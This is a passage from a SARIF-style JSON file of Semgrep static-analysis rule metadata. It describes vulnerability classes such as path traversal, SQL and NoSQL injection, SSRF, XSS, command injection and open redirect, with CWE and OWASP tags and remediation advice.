Rule](https://semgrep.dev/r/go.gin.path-traversal.gin-path-traversal-taint.gin-path-traversal-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"helpUri":"https://semgrep.dev/r/go.gin.path-traversal.gin-path-traversal-taint.gin-path-traversal-taint","id":"go.gin.path-traversal.gin-path-traversal-taint.gin-path-traversal-taint","name":"go.gin.path-traversal.gin-path-traversal-taint.gin-path-traversal-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.gin.path-traversal.gin-path-traversal-taint.gin-path-traversal-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.nosqli.mongodb-taint.mongodb-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.nosqli.mongodb-taint.mongodb-taint","id":"csharp.dotnet-core.nosqli.mongodb-taint.mongodb-taint","name":"csharp.dotnet-core.nosqli.mongodb-taint.mongodb-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.nosqli.mongodb-taint.mongodb-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep-add.tainted-ssrf-deepsemgrep-add)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep-add.tainted-ssrf-deepsemgrep-add","id":"java.servlets.security.tainted-ssrf-deepsemgrep-add.tainted-ssrf-deepsemgrep-add","name":"java.servlets.security.tainted-ssrf-deepsemgrep-add.tainted-ssrf-deepsemgrep-add","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ssrf-deepsemgrep-add.tainted-ssrf-deepsemgrep-add"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding the `allowPrivilegeEscalation` parameter to your the `securityContext`, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks."},"help":{"markdown":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding the `allowPrivilegeEscalation` parameter to your the `securityContext`, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation.allow-privilege-escalation)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n - [https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt](https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag)\n","text":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding the `allowPrivilegeEscalation` parameter to your the `securityContext`, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation.allow-privilege-escalation","id":"yaml.kubernetes.security.allow-privilege-escalation.allow-privilege-escalation","name":"yaml.kubernetes.security.allow-privilege-escalation.allow-privilege-escalation","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.allow-privilege-escalation.allow-privilege-escalation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-user-input-in-php-script.tainted-user-input-in-php-script)\n - [https://brightsec.com/blog/cross-site-scripting-php/](https://brightsec.com/blog/cross-site-scripting-php/)\n - [https://github.com/tolgadevsec/PHP-Security-Cheatsheet#cross-site-scripting](https://github.com/tolgadevsec/PHP-Security-Cheatsheet#cross-site-scripting)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-user-input-in-php-script.tainted-user-input-in-php-script","id":"php.lang.security.tainted-user-input-in-php-script.tainted-user-input-in-php-script","name":"php.lang.security.tainted-user-input-in-php-script.tainted-user-input-in-php-script","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-user-input-in-php-script.tainted-user-input-in-php-script"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.peewee.python-peewee-mysql-empty-password.python-peewee-mysql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.peewee.python-peewee-mysql-empty-password.python-peewee-mysql-empty-password","id":"python.peewee.python-peewee-mysql-empty-password.python-peewee-mysql-empty-password","name":"python.peewee.python-peewee-mysql-empty-password.python-peewee-mysql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.peewee.python-peewee-mysql-empty-password.python-peewee-mysql-empty-password"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"help":{"markdown":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.log.tainted-log-injection-stdlib-flask.tainted-log-injection-stdlib-flask)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://flask.palletsprojects.com/en/2.3.x/logging/](https://flask.palletsprojects.com/en/2.3.x/logging/)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"helpUri":"https://semgrep.dev/r/python.flask.log.tainted-log-injection-stdlib-flask.tainted-log-injection-stdlib-flask","id":"python.flask.log.tainted-log-injection-stdlib-flask.tainted-log-injection-stdlib-flask","name":"python.flask.log.tainted-log-injection-stdlib-flask.tainted-log-injection-stdlib-flask","properties":{"precision":"very-high","tags":["CWE-117: Improper Output Neutralization for Logs","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.log.tainted-log-injection-stdlib-flask.tainted-log-injection-stdlib-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a SQL sink or statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a SQL sink or statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected input from a HTTPServletRequest going into a SQL sink or statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request","id":"java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request","name":"java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found 'x-openai-isConsequential: false' in a state-changing HTTP method: $METHOD $PATH. This Action configuration will enable the 'Always Allow' option for state-changing HTTP methods, such as POST, PUT, PATCH, or DELETE. The risk of a user selecting the 'Always Allow' button is that the agent could perform unintended actions on behalf of the user. When working with sensitive functionality, it is always best to include a Human In The Loop (HITL) type of control. Consider the trade-off between security  and user friction and then make a risk-based decision about this function."},"help":{"markdown":"Found 'x-openai-isConsequential: false' in a state-changing HTTP method: $METHOD $PATH. This Action configuration will enable the 'Always Allow' option for state-changing HTTP methods, such as POST, PUT, PATCH, or DELETE. The risk of a user selecting the 'Always Allow' button is that the agent could perform unintended actions on behalf of the user. When working with sensitive functionality, it is always best to include a Human In The Loop (HITL) type of control. Consider the trade-off between security  and user friction and then make a risk-based decision about this function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.openapi.security.openai-consequential-action-false.openai-consequential-action-false)\n - [https://platform.openai.com/docs/actions/consequential-flag](https://platform.openai.com/docs/actions/consequential-flag)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design/](https://owasp.org/Top10/A04_2021-Insecure_Design/)\n - [https://owasp.org/www-project-top-10-for-large-language-model-applications/assets/PDF/OWASP-Top-10-for-LLMs-2023-v1_1.pdf](https://owasp.org/www-project-top-10-for-large-language-model-applications/assets/PDF/OWASP-Top-10-for-LLMs-2023-v1_1.pdf)\n","text":"Found 'x-openai-isConsequential: false' in a state-changing HTTP method: $METHOD $PATH. This Action configuration will enable the 'Always Allow' option for state-changing HTTP methods, such as POST, PUT, PATCH, or DELETE. The risk of a user selecting the 'Always Allow' button is that the agent could perform unintended actions on behalf of the user. When working with sensitive functionality, it is always best to include a Human In The Loop (HITL) type of control. Consider the trade-off between security  and user friction and then make a risk-based decision about this function."},"helpUri":"https://semgrep.dev/r/yaml.openapi.security.openai-consequential-action-false.openai-consequential-action-false","id":"yaml.openapi.security.openai-consequential-action-false.openai-consequential-action-false","name":"yaml.openapi.security.openai-consequential-action-false.openai-consequential-action-false","properties":{"precision":"very-high","tags":["CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')","HIGH CONFIDENCE","OWASP-A04:2021 Insecure Design","OWASP-LLM08:2023 - Excessive Agency","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.openapi.security.openai-consequential-action-false.openai-consequential-action-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-cmd-from-http-request-deepsemgrep.tainted-cmd-from-http-request-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-cmd-from-http-request-deepsemgrep.tainted-cmd-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-cmd-from-http-request-deepsemgrep.tainted-cmd-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-cmd-from-http-request-deepsemgrep.tainted-cmd-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-cmd-from-http-request-deepsemgrep.tainted-cmd-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"This rule has been deprecated. Please remove it from your policies and rulepacks."},"help":{"markdown":"This rule has been deprecated. Please remove it from your policies and rulepacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.pg-orm-sqli-taint.pg-orm-sqli-taint)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"This rule has been deprecated. Please remove it from your policies and rulepacks."},"helpUri":"https://semgrep.dev/r/go.net.sql.pg-orm-sqli-taint.pg-orm-sqli-taint","id":"go.net.sql.pg-orm-sqli-taint.pg-orm-sqli-taint","name":"go.net.sql.pg-orm-sqli-taint.pg-orm-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.pg-orm-sqli-taint.pg-orm-sqli-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"'reflect.MakeFunc' detected. This will sidestep protections that are normally afforded by Go's type system. Audit this call and be sure that user input cannot be used to affect the code generated by MakeFunc; otherwise, you will have a serious security vulnerability."},"help":{"markdown":"'reflect.MakeFunc' detected. This will sidestep protections that are normally afforded by Go's type system. Audit this call and be sure that user input cannot be used to affect the code generated by MakeFunc; otherwise, you will have a serious security vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.reflect-makefunc.reflect-makefunc)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"'reflect.MakeFunc' detected. This will sidestep protections that are normally afforded by Go's type system. Audit this call and be sure that user input cannot be used to affect the code generated by MakeFunc; otherwise, you will have a serious security vulnerability."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.reflect-makefunc.reflect-makefunc","id":"go.lang.security.audit.reflect-makefunc.reflect-makefunc","name":"go.lang.security.audit.reflect-makefunc.reflect-makefunc","properties":{"precision":"very-high","tags":["CWE-913: Improper Control of Dynamically-Managed Code Resources","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.reflect-makefunc.reflect-makefunc"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-secret-url.python-elasticsearch-hardcoded-secret-url)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-secret-url.python-elasticsearch-hardcoded-secret-url","id":"python.elasticsearch.python-elasticsearch-hardcoded-secret-url.python-elasticsearch-hardcoded-secret-url","name":"python.elasticsearch.python-elasticsearch-hardcoded-secret-url.python-elasticsearch-hardcoded-secret-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.elasticsearch.python-elasticsearch-hardcoded-secret-url.python-elasticsearch-hardcoded-secret-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi.tainted-os-command-stdlib-fastapi)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi.tainted-os-command-stdlib-fastapi","id":"python.fastapi.os.tainted-os-command-stdlib-fastapi.tainted-os-command-stdlib-fastapi","name":"python.fastapi.os.tainted-os-command-stdlib-fastapi.tainted-os-command-stdlib-fastapi","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-os-command-stdlib-fastapi.tainted-os-command-stdlib-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Data from request is passed to redirect(). This is an open redirect and could be exploited. Consider using 'url_for()' to generate links to known locations. If you must use a URL to unknown pages, consider using 'urlparse()' or similar and checking if the 'netloc' property is the same as your site's host name. See the references for more information."},"help":{"markdown":"Data from request is passed to redirect(). This is an open redirect and could be exploited. Consider using 'url_for()' to generate links to known locations. If you must use a URL to unknown pages, consider using 'urlparse()' or similar and checking if the 'netloc' property is the same as your site's host name. See the references for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.open-redirect.open-redirect)\n - [https://flask-login.readthedocs.io/en/latest/#login-example](https://flask-login.readthedocs.io/en/latest/#login-example)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html#dangerous-url-redirect-example-1](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html#dangerous-url-redirect-example-1)\n - [https://docs.python.org/3/library/urllib.parse.html#url-parsing](https://docs.python.org/3/library/urllib.parse.html#url-parsing)\n","text":"Data from request is passed to redirect(). This is an open redirect and could be exploited. Consider using 'url_for()' to generate links to known locations. If you must use a URL to unknown pages, consider using 'urlparse()' or similar and checking if the 'netloc' property is the same as your site's host name. See the references for more information."},"helpUri":"https://semgrep.dev/r/python.flask.security.open-redirect.open-redirect","id":"python.flask.security.open-redirect.open-redirect","name":"python.flask.security.open-redirect.open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.open-redirect.open-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.aiosqlite-fastapi.aiosqlite-fastapi)\n - [https://aiosqlite.omnilib.dev/en/stable/api.html](https://aiosqlite.omnilib.dev/en/stable/api.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.aiosqlite-fastapi.aiosqlite-fastapi","id":"python.fastapi.db.aiosqlite-fastapi.aiosqlite-fastapi","name":"python.fastapi.db.aiosqlite-fastapi.aiosqlite-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL 